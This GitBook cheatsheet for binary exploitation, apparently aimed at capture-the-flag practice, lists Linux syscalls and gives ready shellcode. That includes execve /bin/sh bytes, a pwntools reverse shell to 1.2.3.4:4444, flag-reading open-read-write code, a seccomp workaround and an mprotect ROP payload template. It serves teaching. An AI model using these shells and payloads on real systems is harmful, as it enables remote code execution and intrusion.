> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/toolkit/cheatsheets/06-shellcode-syscall-cheatsheet.md). # Shellcode & Syscall Cheatsheet ## ─── LINUX x86-64 SYSCALL TABLE (KEY) ──────────────────────────────────────── ``` rax name rdi rsi rdx ───────────────────────────────────────────────────────────── 0 read fd buf * count 1 write fd buf * count 2 open path * flags mode 3 close fd 4 stat path * stat_buf * 5 fstat fd stat_buf * 9 mmap addr length prot (r10=flags, r8=fd, r9=off) 10 mprotect addr len prot 11 munmap addr len 12 brk addr 20 writev fd iov * iovcnt 32 dup oldfd 33 dup2 oldfd newfd 39 getpid 40 sendfile out_fd in_fd offset* count 41 socket domain type protocol 42 connect sockfd addr * addrlen 43 accept sockfd addr * addrlen * 44 sendto 45 recvfrom 49 bind 50 listen 56 clone 57 fork 59 execve filename * argv ** envp ** ← SHELL 60 exit status 62 kill pid sig 72 fcntl fd cmd arg 78 getdents fd dirent * count 79 getcwd buf * size 80 chdir path * 83 mkdir path * mode 85 creat path * mode 87 unlink path * 89 readlink path * buf * bufsiz 102 getuid 105 setuid uid 110 getgid 116 setgid gid 200 tkill tid sig 202 futex 231 exit_group status ``` *** ## ─── LINUX x86 (32-bit) SYSCALL TABLE ──────────────────────────────────────── ``` eax name ebx ecx edx ───────────────────────────────────────────── 1 exit status 3 read fd buf * count 4 write fd buf * count 5 open path * flags mode 6 close fd 11 execve filename * argv ** envp ** ← SHELL 33 dup2 oldfd newfd 90 mmap mmap_arg_struct 91 munmap addr len 102 socketcall subcall args * 119 sigreturn (used for SROP) 125 mprotect addr len prot ``` *** ## ─── PWNTOOLS SHELLCRAFT ────────────────────────────────────────────────────── ```python from pwn import * context.arch = 'amd64' # or 'i386', 'arm', 'aarch64' context.os = 'linux' # Common shellcodes sc = asm(shellcraft.sh()) # execve /bin/sh sc = asm(shellcraft.linux.sh()) sc = asm(shellcraft.execve('/bin/sh', [], [])) # Connect-back (reverse shell) sc = asm(shellcraft.connect('1.2.3.4', 4444) + shellcraft.dupsh()) # 32-bit context.arch = 'i386' sc = asm(shellcraft.i386.linux.sh()) # Print assembly print(shellcraft.sh()) # Custom shellcode sc = asm(''' xor rdi, rdi push rdi mov rdi, 0x68732f6e69622f ; "/bin/sh" reversed push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 59 syscall ''') ``` *** ## ─── MINIMAL x86-64 SHELLCODES ─────────────────────────────────────────────── ### execve /bin/sh (27 bytes) ```asm ; /bin/sh shellcode xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f ; "//bin/sh" push rdi push rsp pop rdi xor rdx, rdx push 59 pop rax syscall ``` ```python SHELLCODE_64 = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x48\x31\xd2\x6a\x3b\x58\x0f\x05" ``` ### Read flag file (open+read+write) ```python from pwn import * context.arch = 'amd64' sc = asm( shellcraft.open('flag.txt') + shellcraft.read('rax', 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100) ) ``` ### ORW (open-read-write) manual ```asm ; open("flag.txt", O_RDONLY, 0) push 0 mov rdi, 0x7478742e67616c66 ; "flag.txt" (reversed, no null) push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 2 syscall ; read(fd, buf, 0x100) mov rdi, rax ; fd from open sub rsp, 0x100 mov rsi, rsp mov rdx, 0x100 xor rax, rax syscall ; write(1, buf, bytes_read) mov rdx, rax mov rdi, 1 mov rsi, rsp mov rax, 1 syscall ``` *** ## ─── SECCOMP BYPASSES ──────────────────────────────────────────────────────── ```bash # Check seccomp rules in a binary seccomp-tools dump ./vuln # Common allowed syscall sets: # read/write/open allowed → ORW shellcode # execve blocked → use ORW to read flag # only read/write → no open → use openat (257) instead # openat (syscall 257) often allowed when open is blocked ; openat(AT_FDCWD=-100, "flag.txt", O_RDONLY) mov rax, 257 mov rdi, -100 ; AT_FDCWD lea rsi, [rel filename] xor rdx, rdx xor r10, r10 syscall ``` *** ## ─── MPROTECT + SHELLCODE ──────────────────────────────────────────────────── ```python # Make a region executable, then jump shellcode there from pwn import * elf = ELF('./vuln') p = process('./vuln') pop_rdi = ... # gadgets pop_rsi = ... pop_rdx = ... mprotect_plt = elf.plt['mprotect'] # if linked, else use syscall bss = elf.bss() sc = asm(shellcraft.sh()) # ROP: mprotect(bss_page, 0x1000, 7) → make bss RWX # Then: read shellcode to bss # Then: jmp to bss payload = b'A' * offset payload += p64(pop_rdi) + p64(bss & ~0xfff) # page-aligned payload += p64(pop_rsi) + p64(0x1000) payload += p64(pop_rdx) + p64(7) # PROT_READ|WRITE|EXEC payload += p64(mprotect_addr) payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi) + p64(bss) payload += p64(pop_rdx) + p64(len(sc)) payload += p64(read_addr) payload += p64(bss) # jmp to shellcode p.sendlineafter(b'Input: ', payload) p.send(sc) p.interactive() ``` *** ## ─── SHELLCODE TESTING ──────────────────────────────────────────────────────── ```c // shelltest.c — compile and run to test shellcode #include #include #include int main() { unsigned char sc[] = "\x48\x31\xf6..."; // your shellcode hex void *mem = mmap(NULL, sizeof(sc), PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); memcpy(mem, sc, sizeof(sc)); ((void(*)())mem)(); return 0; } ``` ```bash gcc -o shelltest shelltest.c -z execstack ./shelltest ``` *** ## ─── USEFUL CONSTANTS ──────────────────────────────────────────────────────── ```python from pwn import constants constants.SYS_execve # 59 constants.SYS_read # 0 constants.SYS_write # 1 constants.SYS_open # 2 constants.SYS_mprotect # 10 constants.PROT_READ # 1 constants.PROT_WRITE # 2 constants.PROT_EXEC # 4 constants.PROT_RWX # 7 constants.O_RDONLY # 0 constants.O_WRONLY # 1 constants.O_RDWR # 2 constants.O_CREAT # 64 constants.MAP_PRIVATE # 2 constants.MAP_ANONYMOUS # 32 constants.MAP_ANON # 32 ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/toolkit/cheatsheets/06-shellcode-syscall-cheatsheet.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.